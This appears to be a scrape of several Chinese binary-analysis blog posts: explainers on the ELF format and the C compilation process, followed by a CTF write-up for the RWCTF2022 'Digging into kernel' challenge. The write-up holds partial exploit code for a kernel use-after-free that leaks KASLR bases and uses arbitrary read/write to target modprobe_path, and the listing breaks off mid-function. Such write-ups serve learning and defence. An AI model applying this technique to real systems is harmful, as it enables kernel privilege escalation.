芜湖✈️



### ELF头部

ELF头部的格式在`include/linux/elf.h`中有定义 (实际上在本人测试的5.11内核中 头部定义在`include/uapi/linux/elf.h`)

```c
typedef struct elf64_hdr {
  unsigned char	e_ident[EI_NIDENT];	/* ELF "magic number" */
  Elf64_Half e_type; 								/* 对象文件类型 */
  Elf64_Half e_machine; 						/* 架构 */
  Elf64_Word e_version; 						/* 对象文件版本 */
  Elf64_Addr e_entry;								/* 程序入口的虚拟地址 */
  Elf64_Off e_phoff;								/* Program header table file offset 程序头表的偏移 */
  Elf64_Off e_shoff;								/* Section header table file offset 节头表的偏移 */
  Elf64_Word e_flags; 							/* 保存与文件相关的 特定于处理器的标志 */
  Elf64_Half e_ehsize; 							/* ELF头部大小 */
  Elf64_Half e_phentsize;						/* 程序头表的条目大小 */
  Elf64_Half e_phnum;								/* 程序头表的条目数 */
  Elf64_Half e_shentsize;						/* 节头表的条目大小 */
  Elf64_Half e_shnum;								/* 节头表的条目数 */
  Elf64_Half e_shstrndx;						/* 节头表中与节名称字符串表相关的条目索引 */
} Elf64_Ehdr;
```



#### e_ident数组

ELF文件以ELF头部为起始 而ELF头部以`e_ident数组`作为起始
通常来说`e_ident数组`开头的4字节是固定的 第一个字节为`0xf` 后面三个字节分别为`ELF`的ASCII码 这样处理的好处是方便`file`或者二进制加载器能够快速识别正在处理的是ELF二进制程序

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230412165310.png)

`e_ident`数组其余键值的意义同样存储在`include/uapi/linux/elf.h`中 (5.11内核)

```c
#define	EI_MAG0		0		/* e_ident[] indexes */
#define	EI_MAG1		1
#define	EI_MAG2		2
#define	EI_MAG3		3
#define	EI_CLASS	4
#define	EI_DATA		5
#define	EI_VERSION	6
#define	EI_OSABI	7
#define	EI_PAD		8
```

`EI_CLASS` 主要表示的是该二进制程序架构的位宽 (是64位架构的还是32位架构的)
如果为64位则该键值为`2 (常量ELFCLASS64)` 如果为32位则为`1 (常量ELFCLASS32)`

`EI_DATA ` 主要表示的是架构的字节序 其实就是在内存中是大端序还是小端序
如果为小端序则该键值为`1 (常量ELFDATA2LSB)` 如果为大端序则为`2 (常量ELFDATA2MSB)`

`EI_VERSION` 主要表示的是创建二进制文件时使用的ELF规范版本 有效值只有`1 (常量EV_CURRENT)`

`EI_OSABI` 主要表示的是关于二进制程序的二进制接口(Application Binary Interface)的相关信息
如果`EI_OSABI`的值为非0 则二进制文件中会使用一些`ABI-`或者`OS-`的具体扩展名 这可能会改变二进制文件中某些字段的含义
如果`EI_OSABI`的值为0 则表示该二进制文件以`UNIX System V ABI`为目标

> 什么是ABI?
>
> 简单来说 就是一系列约定的集合 比如FreeBSD约定函数调用的头六个参数放到RDI RSI RDX RCX R8 R9上 XMM0-XMM7用来放置浮点变元一样 可以说调用惯例就是ABI 
> 一般来说ABI和CPU具体架构和OS相关
>
> 具体而言ABI包含以下内容:
>
> 1. 特定的处理器指令集
> 2. 函数调用惯例
> 3. 系统调用方式
> 4. 可执行文件的格式
>
> 统一ABI的目的是 只要OS遵守统一的ABI那么不同的应用就自动可以实现向前兼容 不用担心版本兼容性问题

`EI_PAD` 跟计算机网络中头部的拓展字段一样 为了以后的发展空闲出来的空间 保留以供将来使用 当前设置值为0

使用`readelf`命令可以查看二进制程序的头部的`e_ident数组及其含义`

```bash
readelf -h 2
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230412171834.png)

#### e_type字段

该字段指明了二进制文件的类型 常见的值有`ET_REL(可重定位二进制程序)` `ET_EXEC(可执行二进制程序)` `ET_DYN(动态库/共享对象文件)`

#### e_machine字段

表示了二进制文件计划在某个体系结构上运行 常见的值有`EX_X86_64(64位x86架构二进制文件)` `EM_386(32位x86架构二进制文件)` `EM_ARM(ARM架构二进制文件)`

#### e_version字段

与`EI_VERSION`作用类似 表示的是创建二进制文件时使用的ELF版本规范 唯一有效值为`1 (常量EV_CURRENT)`

#### e_entry字段

该字段表明了二进制文件的入口点 对于上面使用`readelf`来测试的样例来说 程序入口点为`0x400530` 此处也是解释器(在第一章解释过 为`ld-linux.so`)将二进制程序加载到虚拟内存后转移控制权的地方

#### e_phoff字段

该字段表明了对于程序头表(program header table)相对于与文件起始的偏移值 单位为字节 以上面的测试样例来说 程序头表相对于文件开始为64B 此处值可以为0 表示程序不包含文件头表

#### e_shoff字段

该字段的作用和上面的`e_phoff`差不多 只不过该字段表明的是节头表(section header table)相对于文件起始的偏移值 单位为字节

#### e_flags字段

该字段表明了二进制程序在特定CPU处理的标志 例如在计划在ARM上运行的二进制程序可以在`e_flags`上设置ARM的特定标志 但是针对一般的x86程序来说 此处一般设置为0

#### e_ehsize字段

该字段表明了二进制程序的ELF头部大小 对于64位的二进制程序 头部大小始终为64B 对于32位的二进制程序 头部大小始终为52B

#### e_phentsize字段&&e_phnum字段

根据`e_phoff`字段可以知道程序头表的起始位置 但是链接器和加载器要遍历这些表的时候还需要知道各个程序头的大小 以及每个表中程序头的数量 而这些信息就是由`e_phentsize`和`e_phnum`字段来表示的

#### e_shentsize字段&&e_shnum字段

跟上面的差不多 只不过此处提供的是节头表的相关信息

#### e_shstrndx字段

该字段包含一个名为`.shstrtab`的头索引(在节头表中) 这是一个专用节 专门用来保存所有节的名称 使用`readelf`可以通过这个专用节来正确显示所有节的名称

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230413103208.png)

### 节头

二进制文件中的代码和数据在逻辑上被分为连续的非重叠块 称为节
每个节都是由节头描述 节头定义了节的属性 并且允许找到节中字节的位置 二进制文件中所有节的节头都包含在节头表中
但是实际上并不是所有节的内容在执行时都是需要的 比如符号信息和重定位信息在执行时其实是没有什么用的 

节主要是为链接器提供服务 所以节头表其实是ELF文件的可选部分 不需要链接的文件不需要节头表

节头的定义同样存在与`include/uapi/linux/elf.h`中

```c
typedef struct elf64_shdr {
  Elf64_Word sh_name;		/* Section name, index in string tbl */
  Elf64_Word sh_type;		/* Type of section */
  Elf64_Xword sh_flags;		/* Miscellaneous section attributes */
  Elf64_Addr sh_addr;		/* Section virtual addr at execution */
  Elf64_Off sh_offset;		/* Section file offset */
  Elf64_Xword sh_size;		/* Size of section in bytes */
  Elf64_Word sh_link;		/* Index of another section */
  Elf64_Word sh_info;		/* Additional section information */
  Elf64_Xword sh_addralign;	/* Section alignment */
  Elf64_Xword sh_entsize;	/* Entry size if section holds table */
} Elf64_Shdr;
```



#### sh_name字段

如果该字段被设置 则表示在字符串表中存在索引 也即在之前说过的`.shstrtab`的特殊节中存在该段的名称的字符串 `sh_name`字段将对本段的名称在`.shstrtab`中的位置进行索引 以找到本节名称的字符串

#### sh_type字段

表明了本节的类型 此信息主要提供给链接器在链接时使用
类型`SHT_PROGBITS`的节包含了程序数据 如机器指令或者常量 这些节没有特定的结构供链接器解析
类型`SHT_SYMTAB(静态符号表)` `SHT_DYNSYM(动态符号表)` `SHT_STRTAB(字符串表)`为特殊节类型

> 符号表的内容是格式明确的符号 该表会描述特定文件的偏移 地址 符号名称和类型等信息

类型为 `SHT_REL` 或者 `SHT_RELA` 的节往往包含着格式明确的重定位项 链接器可以解析该重定位项然后以便在其他节中实现重定位 (`SHT_REL`和`SHT_RELA`用于静态链接)

> 每个重定位项都会告诉链接器二进制文件中需要重定位的特定位置 以及重定位需要解析的符号

类型`SHT_DYNAMIC`的节包含动态链接中所需要的信息

#### sh_flags字段

描述了节的一些其他信息
`SHF_WRITE`表示该节运行时可写 `SHF_ALLOC`表示在执行二进制程序时将该节加载到虚拟内存中 `SHF_EXECINSTR`表示该节包含可执行指令

#### sh_addr字段

描述该节的虚拟地址 当该值为0时 表示该节不会加载到虚拟内存中

#### sh_offset字段

描述该节的相对于文件起始位置的文件偏移

#### sh_size字段

描述该节的大小

#### sh_link字段

该字段表示了节与节之间的关系 比如重定位节(`SHT_REL`或者`SHT_RELA`)与描述重定位所涉及到的符号的符号表相关联 `sh_link`字段通过表示相关节之间在节头表中的索引来表明这些节之间的关系

#### sh_info字段

该字段存储与节相关的额外信息 比如对于`SHT_REL`或者`SHT_RELA`的节来说 此处存放的就是用于重定位节的节头索引

#### sh_addralign字段

指明了该节在内存中的对齐方式 如果为16则表示该节的基址必须为16的倍数 如果为0或者1表示没有特殊的对齐要求

#### sh_entsize字段

某些节(符号表或者重定位表)包含着固定大小的条目 对于这些节使用`sh_entsize`字段来规定每个条目的长度 单位为字节
如果该节不包含固定长度条目的表格 那么本字段为0



### 节

对于一个ELF文件我们可以使用`readelf`来查看该文件的节

```bash
readelf --sections --wide 2
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230413154124.png)



#### .init节

该节的``sh_flags字段`为`SHF_EXECINSTR` 即包含可执行代码 在控制权转移到二进制程序main入口点之前会先执行`.init节`的代码 作用类似于构造函数

#### .fini节

作用类似于`.init节`效果类似于析构函数

#### .text节

包含程序的主要代码  其类型为`SHF_EXECINSTR` 一般来说是可执行不可写的 
其中除了主要的用户代码 `.text节`内同样包含了许多执行初始化和终止任务的标准函数 例如`_start` `register_tm_clones`等

对于一个程序的运行 通常认为是从`main函数`开始的 但是检查入口点会发现 最初执行的函数是`_start` 

```asm
Disassembly of section .text:

0000000000400530 <_start>:
  400530:	31 ed                	xor    ebp,ebp
  400532:	49 89 d1             	mov    r9,rdx
  400535:	5e                   	pop    rsi
  400536:	48 89 e2             	mov    rdx,rsp
  400539:	48 83 e4 f0          	and    rsp,0xfffffffffffffff0
  40053d:	50                   	push   rax
  40053e:	54                   	push   rsp
  40053f:	49 c7 c0 60 07 40 00 	mov    r8,0x400760
  400546:	48 c7 c1 f0 06 40 00 	mov    rcx,0x4006f0
  40054d:	48 c7 c7 71 06 40 00 	mov    rdi,0x400671
  400554:	e8 a7 ff ff ff       	call   400500 <__libc_start_main@plt>
  400559:	f4                   	hlt    
  40055a:	66 0f 1f 44 00 00    	nop    WORD PTR [rax+rax*1+0x0]
...
0000000000400671 <main>:
  400671:	55                   	push   rbp
  400672:	48 89 e5             	mov    rbp,rsp
  400675:	48 83 ec 20          	sub    rsp,0x20
...
```

通过观察`_start`的汇编可以发现 在0x400554处调用函数`_libc_start_main` 其参数为`0x400671`也即为main函数的地址
那么整个调用流程即为\_start->_libc_start_main->main

#### .bss节

该节类型为`SHT_NOBITS` 即这一节的内容是空的 节并不占用实际的空间 
这是因为.bss节的作用是当二进制程序建立执行环境时为未初始化变量分配适当大小内存块用的
一般来说该节中的变量初始化为0 并且该节可写

#### .data节

该节通常保存初始化变量的默认值 因为在运行时可能变量的值需要修改 所以该节可写

#### .rodata节

该节通常存储只读数据 即常量 所以该节不可写

#### .rel.*节&&.rela.\*节

这里再看一眼之前使用`readelf`获取到二进制程序中的节信息

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230413154124.png)

可以发现在所有节中存在两个`.rela.*的节` 其类型为`SHT_RELA` 表名其包含链接器用于重定位的信息
每个`SHT_RELA`类型的节都是一个重定位条目 每个条目都说明了需要应用重定位的特定地址 以及在此地址需要插入的值

```bash
readelf --relocs 2
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230426201221.png)

可以发现针对重定位条目也存在两种不同的类型 分别为`R_X86_64_GLOB_DAT`和`R_X86_64_JUMP_SLO`

其中`R_X86_64_GLOB_DAT`主要用于将全局变量的地址存储到GOT表 当程序调用全局变量时 GOT会将函数的地址动态解析出来 以实现动态链接。

而``R_X86_64_JUMP_SLOT`主要用于将函数的地址存储到PLT中 当程序调用该函数时 PLT会将函数的地址动态解析出来 以实现动态链接

#### .dynamic节

```bash
readelf --dynamic 2
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230426202622.png)

在`.dynamic节`中每个条目都称为`标签` 每个标签都有一个关联值和其类型

类型`NEEDED`主要是通知动态链接器解决关于可执行文件的依赖问题 
类型`DT_VERNEED`和`DT_VERNEEDNUM`指定了版本依赖表的旗帜位置和条目数 而版本依赖表指定了可执行文件各种依赖的版本



#### .init_array节

`.init_array节`包含一个指向构造函数的指针数组 在程序被初始化之后 main函数调用之前会一次调用这些构造函数

```bash
objdump -d --section .init_array 2
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230427150832.png)

可以发现在之前测试的二进制程序中只包含一个函数`__frame_dummy_init_array_entry`其地址为0x400500

#### .fini_array节

基本同.init_array节类似



### 程序头

程序头表提供了二进制文件的段视角 而节头表提供了二进制程序的节视角
在二进制文件加载到进程中并执行的时候 定位相关代码和数据并确定加载到虚拟内存中时 操作系统和链接器就会使用到段视角

一般来说每个段包含多个节 程序头表使用`Elf64_Phdr`结构体的类型来对段视图进行描述 该结构体定义于`include/uapi/linux/elf.h`

```c
typedef struct elf64_phdr {
  Elf64_Word p_type;
  Elf64_Word p_flags;
  Elf64_Off p_offset;		/* Segment file offset */
  Elf64_Addr p_vaddr;		/* Segment virtual address */
  Elf64_Addr p_paddr;		/* Segment physical address */
  Elf64_Xword p_filesz;		/* Segment size in file */
  Elf64_Xword p_memsz;		/* Segment size in memory */
  Elf64_Xword p_align;		/* Segment alignment, file & memory */
} Elf64_Phdr;
```

```bash
readelf --wide -segments 2
```

![image-20230427152036937](/Users/du4t/Library/Application Support/typora-user-images/image-20230427152036937.png)

#### p_type字段

表明了段的类型 该字段比较重要的类型有`PT_LOAD` `PT_DYNAMIC` `PT_INTERP`

`PT_LOAD`类型的段会在创造进程时直接加载到内存中 程序头的剩余部分表明可加载块的大小和将其加载到的地址
`PT_INTERP`类型的段包含了`.interp节`该节通常提供加载二进制程序的解释器的名称
`PT_DYNAMIC`类型的段相对应的包含了`.dynamic节` 该节告诉解释器如何解析二进制程序以执行
`PT_PHDR`类型的段表示其包含程序头表

#### p_flags字段

表明该段在执行时的权限

`PF_X` 该段可执行
`PF_W` 该段可写
`PF_R` 该段可读

#### p_offset && p_vaddr && p_paddr && p_filesz字段

效果同节头中的`sh_offset` `sh_addr` `sh_size` 分别指定了该段的起始文件偏移 加载的虚拟地址 以及段大小
对于可加载段`p_vaddr`与`p_offset`相等

#### p_align字段

同`sh_addralign`表明了内存对齐方式

[Binary Analysis] 0x01 ELF文件格式

👴🏻又开新坑🌶


### C编译过程
> 预处理 -> 编译 -> 汇编 -> 链接

#### 预处理
```c
#include <stdio.h>
#define FORMAT_STRING "%s"
#define MESSAGE "Hello,World!\n"

int main(void)
{
    printf(FORMAT_STRING, MESSAGE);
    return 0;
}
```
使GCC在预处理阶段之后停下 需要使用`-E`选项 `-P`选项忽略调试信息
```bash
gcc -E -P 1.c
```

```c
typedef long unsigned int size_t;
typedef unsigned char __u_char;
typedef unsigned short int __u_short;
typedef unsigned int __u_int;
...
...
int main(void)
{
    printf("%s", "Hello,World!\n");
    return 0;
}

```
![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230323103610.png)

可以看到gcc会输出预处理之后的源代码 可以发现此时gcc会将我们源代码中的`stdio.h`头文件全部包含进源代码中  并且对我们在源码中的`define`也会进行处理 直接替换进源码中

#### 编译
编译阶段GCC会将预处理之后的源代码转换成汇编代码 大多数编译器都可以在此阶段选择进行优化

> 为什么编译器不直接生成机器代码而是先转换一步汇编代码?
> > 从单一语言出发这一步是没有必要的 但是从整体编程语言出发 如果编译器直接生成机器代码 那么每个编译器都需要实现一套机器代码生成器 这样会造成大量的重复工作 但是如果编译器先生成汇编代码 那么每个编译器只需要实现一套汇编代码生成器就可以了

这里可以使用`-S`要求GCC在编译阶段后停下 
```bash
gcc -S -masm=intel 1.c
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230323104630.png)

#### 汇编
汇编阶段的输入是在编译阶段生成的汇编语言集 输出是一组对象文件  
对象文件原则上包含可以由处理器执行的机器指令  
可以使用`-c`参数让GCC输出对象文件
```bash
gcc -c 1.c
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230324131707.png)

`file`命令显示了改对象文件符合二进制可执行文件的ELF规范 并且是LSB(最低有效位) 即内存排序从小到大生长 并且是`relocatable[可重定位的]`  
这里的可重定位的概念和操作系统中的可重定位一致 即装载程序时不依赖于具体的内存地址 这样做方便对象文件相互独立编译并且可以按照任意顺序将对象文件链接到一起从而形成完整的二进制程序

#### 链接
编译过程的最后阶段 链接会将前面编译出来的所有对象文件链接到一个二进制可执行文件中 
链接阶段通过链接器以实现目的 链接器与编译器通常是相互独立工作的[原理之前讲过] 编译器负责执行以上所有步骤 链接器负责执行链接  
之前的所有对象文件因为是独立编译的 所以就编译器自身是没有办法确定对象文件在最后执行的时候在整体代码段的具体地址上[无法确定基址] 并且对象文件也会引用其他对象文件中或者库文件中的数据[函数或者变量] 所以对象文件中包含的所有引用都只包含`重定位符号` 这些`重定位符号`决定最终如何解析函数和变量引用  
> 在链接上下文忠依赖于重定位符号的引用称为符号引用  
> 同时因为基址是不确定的 所以即使在对象内部使用绝对地址引用自己的函数或者变量该地址也会被符号化
  
链接库的执行流程就是获取该程序的所有对象文件 然后解析引用将其合并为一个连贯的可执行文件 架子啊到特定的内存地址 其中在解析库文件的时候会根据库文件的类型决定对其是否完全解析

##### 静态库
静态库会完全合并进二进制可执行文件中 允许完全解析所有对静态库的引用  
这种方法也就是我们通常说的静态编译

##### 动态库
动态库也叫共享库 所有在操作系统上运行的程序共享同一个库文件 对于动态库的引用在最后实际执行加载到内存的时候才会解析对动态库的引用

#### 完整流程

```bash
gcc 1.c
```
![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230324134933.png)

可以看到编译出来的文件是ELF规范的64位LSB可执行文件 并且是动态编译的 也就是动态库还没有装入程序

### 符号和剥离
符号其实就是当初编程者自己命名的函数和变量名称 在编译时 编译器会翻衣服好 根据符号跟踪其名称 比如高级函数名称到第一个地址到每个函数大小的映射 链接器会在链接时使用到这些信息 并且符号也可以帮助我们调试

#### 查看符号信息
```bash
readelf --syms a.out
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230324135929.png)

```bash
Symbol table '.dynsym' contains 4 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.2.5 (2)
     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.2.5 (2)
     3: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__

Symbol table '.symtab' contains 67 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 0000000000400238     0 SECTION LOCAL  DEFAULT    1 
     2: 0000000000400254     0 SECTION LOCAL  DEFAULT    2 
    ...
    54: 0000000000601028     0 NOTYPE  GLOBAL DEFAULT   25 __data_start
    55: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
    56: 0000000000601030     0 OBJECT  GLOBAL HIDDEN    25 __dso_handle
    57: 00000000004005c0     4 OBJECT  GLOBAL DEFAULT   16 _IO_stdin_used
    58: 0000000000400540   101 FUNC    GLOBAL DEFAULT   14 __libc_csu_init
    59: 0000000000601040     0 NOTYPE  GLOBAL DEFAULT   26 _end
    60: 0000000000400430    42 FUNC    GLOBAL DEFAULT   14 _start
    61: 0000000000601038     0 NOTYPE  GLOBAL DEFAULT   26 __bss_start
    62: 0000000000400526    21 FUNC    GLOBAL DEFAULT   14 main
    63: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _Jv_RegisterClasses
    64: 0000000000601038     0 OBJECT  GLOBAL HIDDEN    25 __TMC_END__
    65: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMCloneTable
    66: 00000000004003c8     0 FUNC    GLOBAL DEFAULT   11 _init
```

其中我们可以看到二进制文件加载到内存中指定`main`函数的指定加载地址为0x400526  

#### 剥离符号
很显然 之前我们编译出来的`a.out`是没有经过任何处理的 所以他包含着符号 同时`file`的输出也佐证了这一点(no stripped)
![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230324134933.png)

可以使用`strip`来剥离符号
```bash
strip --strip-all a.out
```
![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230324140925.png)

这里仅剩的一些符号都是动态库上的符号了 这些符号是不能被剥除的 毕竟只有等装载的时候才能确定其地址 现在剥除了之后装载的时候就找不到函数了

### 反汇编

#### 对象文件

.rodata段内存储着所有的只读数据 二进制文件中的所有常量都存储在该段中
```bash
objdump -sj .rodata 1.o
```
![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230324141723.png)

objdump可以使用`-M`来指定汇编风格
```bash
objdump -M intel -d 1.o
```
![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230324141902.png)

这里只有一个`main`函数的汇编是因为这是源文件中唯一定义的函数 其中奇怪的是我们可以发现在`9`的位置这里调用了一个`main函数内部的位置` 且其`参数为0` 通过对比源文件很显然此处应该是`pust`才对  
这里其实是因为我们反汇编的是对象文件 还没有进行链接 对于对象文件中的引用还没有开始解析 对象文件需要链接器对此处的引用来填充正确的值

```bash
readelf --relocs 1.o
```
![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230324142310.png)

第一行是告诉链接器解析对字符串的引用 指向.rodata段  
第二行是告诉链接器解析对puts的引用  
这里有个规律是`readelf`指出的偏移值是需要固定的指令的偏移量+1 因为我们通过前面反汇编的结果可以发现 这里我们的操作码都是指定好的 例如`mov`和`call`真正需要覆盖的只是操作数而已 那么跳过操作码的一个字节就是偏移量+1了

#### 二进制程序
这里其实没什么讲的 跟上述操作一样 只不过可以发现剥离符号之后的二进制程序杂乱许多(废话)

### 加载
当运行一个二进制文件的时候 操作系统会为该程序创建进程 然后分配资源 其中包括虚拟地址空间  
然后操作系统会将解释器映射到虚拟内存中
> 解释器: 一个用户态程序 其知道如何加载程序并执行必要的重定位  
> 在Linux中其通常为一个名为ld-linux.so的共享库  
> 在Windows中其功能通常为一个叫ntdll.dll的动态库实现  
> 
在加载解释器之后内核将控制权交给解释器 随后解释器开始其在用户态的工作  

其中在Linux中ELF二进制文件包含一个`.interp`的特殊段 该段内存储着解释器的路径
```bash
readelf -p .interp a.out
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230324143954.png)

解释器将二进制文件加载进虚拟地址空间 然后解析器会找到二进制程序使用的动态库 并且也将动态库映射到虚拟地址空间 最后在二进制代码中执行所有必要的重定位 填充正确的地址以引用动态库  
实际上因为Linux存在延迟绑定机制 也就是通常上会将动态库中对函数的引用的解释过程推迟 直到调用函数的时候才解析

[Binary Analysis] 0x00 二进制基础

是时候展现真正的躺赢技术了:)



#### RWCTF2022高校赛 - Digging into kernel

##### 文件分析

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230213234640.png" style="zoom:50%;" />

出题人`kaslr`写错了 写成了`kalsr`不过不影响 因为kaslr默认开启 同时开启的还有`smep和smap`

此题没有`init`



##### 漏洞分析

先来看看`xkmod_init`

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230213234835.png" style="zoom:50%;" />

> ```c
> kmem_cache * kmem_cache_create (const char *name, size_t size, size_t align, unsigned long flags, void (*ctor)(void *))	
> ```
>
> 功能: 用来创建一个slab新缓存 这通常是在内核初始化时执行的 或者在首次加载内核模块时执行
>
> - `name`：该参数指缓存名称，proc文件系统（在/proc/slabinfo中）使用它标识一个缓存。
> - `size`：该参数指定了为这个缓存创建的对象的大小，它是以字节为单位的。
> - `align`：该参数定义了每个对象的对齐方式。
> - `flags`：该参数指定了分配缓存时的选项，这些选项标志如表所示

简单来说就是创造了一个新的chunk缓存



再来看看`xkmod_ioctl` 

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230213235300.png" style="zoom:50%;" />

乱的雅痞 配合着`ghidra`食用更好一点

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230213235416.png" style="zoom:50%;" />

很明显就是三个功能嘛 

控制代码`0x6666666`从用户读入到`公共chunk`中

控制代码`0x7777777`从`公共chunk`输出到用户态中

控制代码`0x1111111`新建一个大小为0xcc0的`公共chunk`



最后看看`xkmod_release`

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230213235650.png" style="zoom:50%;" />

就是在关闭设备的时候`free掉公共chunk`



那么漏洞其实已经很明显了 因为最后关闭设备的时候没有清空指针 如果我们同时打开多个设备 然后关闭掉其中一个就能得到一个UAF漏洞 Kernel内的chunk结构和用户态的差不多 都是一个链表串联起所有的free_chunk 同时我们存在读写功能 那么就能实现任意读和任意写

那么最后提权思路最简单的就是修改`modprobe_path`了

##### 坑点1

虽然我们能任意读写 但是我们如何获取`ko_base`和`kernel_base`仍然是一个问题 我们暂时先把`kaslr`关掉来摸索下

这时候我们发现我们可以通过`UAF`泄漏出来chunk指针 这个chunk指针前半部分完全就是`ko_base`的模样

```c
		int fd=open("/dev/xkmod",O_RDONLY);
    int fd2=open("/dev/xkmod",O_RDONLY);
    int fd3=open("/dev/xkmod",O_RDONLY);
    kmalloc(fd);
    close(fd2);

    size_t* temp_mem=malloc(0x50);
    kread(fd,temp_mem,0,0x20);
    size_t leak_addr=temp_mem[0];
    printf("[+] leak_addr: %p\n",leak_addr);
```

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230214000433.png" style="zoom:50%;" />

那么我们可以直接取高位地址作为`ko_base`即可

有了`ko_base`那么`kernel_base`就好整了 在`ko_base+0x9d000`处存在一个函数指针`secondary_startup_64` 我们把他读出来就行了

```c
		int fd=open("/dev/xkmod",O_RDONLY);
    int fd2=open("/dev/xkmod",O_RDONLY);
    int fd3=open("/dev/xkmod",O_RDONLY);
    kmalloc(fd);
    close(fd2);

    size_t* temp_mem=malloc(0x50);
    kread(fd,temp_mem,0,0x20);
    size_t leak_addr=temp_mem[0];
    printf("[+] leak_addr: %p\n",leak_addr);
    size_t ko_base=leak_addr&0xfffffffff0000000;
    printf("[+] ko_base: %p\n",ko_base);
    size_t secondary_startup_64=ko_base+0x9d000-0x10;
    printf("[+] ready to get %p\n",secondary_startup_64);
    
    memset(temp_mem,0,0x50);
    temp_mem[0]=secondary_startup_64;
    kwrite(fd,temp_mem,0,0x20);
    kmalloc(fd);
    kmalloc(fd);

    memset(temp_mem,0,0x20);
    kread(fd,temp_mem,0x10,0x8);
    secondary_startup_64=temp_mem[0];
    printf("[+] secondary_startup_64: %p\n",secondary_startup_64);
    size_t kernel_base=secondary_startup_64-0x30;
    printf("[+] kernel_base: %p\n",kernel_base);

```



##### 坑点2

当我们确定好提权思路之后发现一个比较坑的地方就是 我们的vmlinux中没有`modprobe_path`的符号 那么如何获取`modprobe_path`的偏移又成了问题

这时候需要我们自己去汇编中找`modprobe_path`的地址了 首先我们需要自己写一个`init` 然后将`init`中的`rdinit=/sbin/init`删掉即可 这里我直接借用之前题中的`init`

```sh
qemu-system-x86_64 \
	-kernel bzImage \
	-initrd rootfs.cpio \
	-append "console=ttyS0 root=/dev/ram  quiet nokaslr" \
	-cpu kvm64,+smep,+smap \
	-monitor null \
	--nographic \
    -s
```

```sh
#!/bin/sh
echo "{==DBG==} INIT SCRIPT"

mount -t proc none /proc
mount -t sysfs none /sys
mkdir /dev/pts
mount -t devpts devpts /dev/pts

mdev -s
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
echo -e "{==DBG==} Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
insmod xkmod.ko
chmod 666 /dev/xkmod
chmod 666 /dev/ptmx
chown 0:0 /flag
chmod 400 /flag

poweroff -d 120 -f &

chroot . setuidgid 0 /bin/sh #normal user
```

切到root之后我们需要寻找`__request_module`的地址

```sh
cat /proc/kallsyms | grep "__request_module"
```

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230214001022.png" style="zoom:50%;" />



然后切入gdb调试 此值即为`modprobe_path`的地址 直接减去基址算出来偏移即可

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230214001155.png)



##### exp

```c
#include <sys/types.h>
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>

struct data
{
    void* ptr;
    unsigned int offset;
    unsigned int size;
    /* 
        unsigned int != size_t
        sizeof(data)=0x10
    */
};


void kread(int fd,size_t ptr,size_t offset,size_t size)
{
    struct data a;
    a.ptr=ptr;
    a.offset=offset;
    a.size=size;
    ioctl(fd,0x7777777,&a);
}

void kwrite(int fd,size_t ptr,size_t offset,size_t size)
{
    struct data a;
    a.ptr=ptr;
    a.offset=offset;
    a.size=size;
    ioctl(fd,0x6666666,&a);
}

void kmalloc(int fd)
{
    struct data a;
    a.ptr=2;
    a.offset=0;
    a.size=0;
    ioctl(fd,0x1111111,&a);
}

void main()
{
    int fd=open("/dev/xkmod",O_RDONLY);
    int fd2=open("/dev/xkmod",O_RDONLY);
    int fd3=open("/dev/xkmod",O_RDONLY);
    kmalloc(fd);
    close(fd2);

    size_t* temp_mem=malloc(0x50);
    kread(fd,temp_mem,0,0x20);
    size_t leak_addr=temp_mem[0];
    printf("[+] leak_addr: %p\n",leak_addr);
    size_t ko_base=leak_addr&0xfffffffff0000000;
    printf("[+] ko_base: %p\n",ko_base);
    size_t secondary_startup_64=ko_base+0x9d000-0x10;
    printf("[+] ready to get %p\n",secondary_startup_64);
    
    memset(temp_mem,0,0x50);
    temp_mem[0]=secondary_startup_64;
    kwrite(fd,temp_mem,0,0x20);
    kmalloc(fd);
    kmalloc(fd);

    memset(temp_mem,0,0x20);
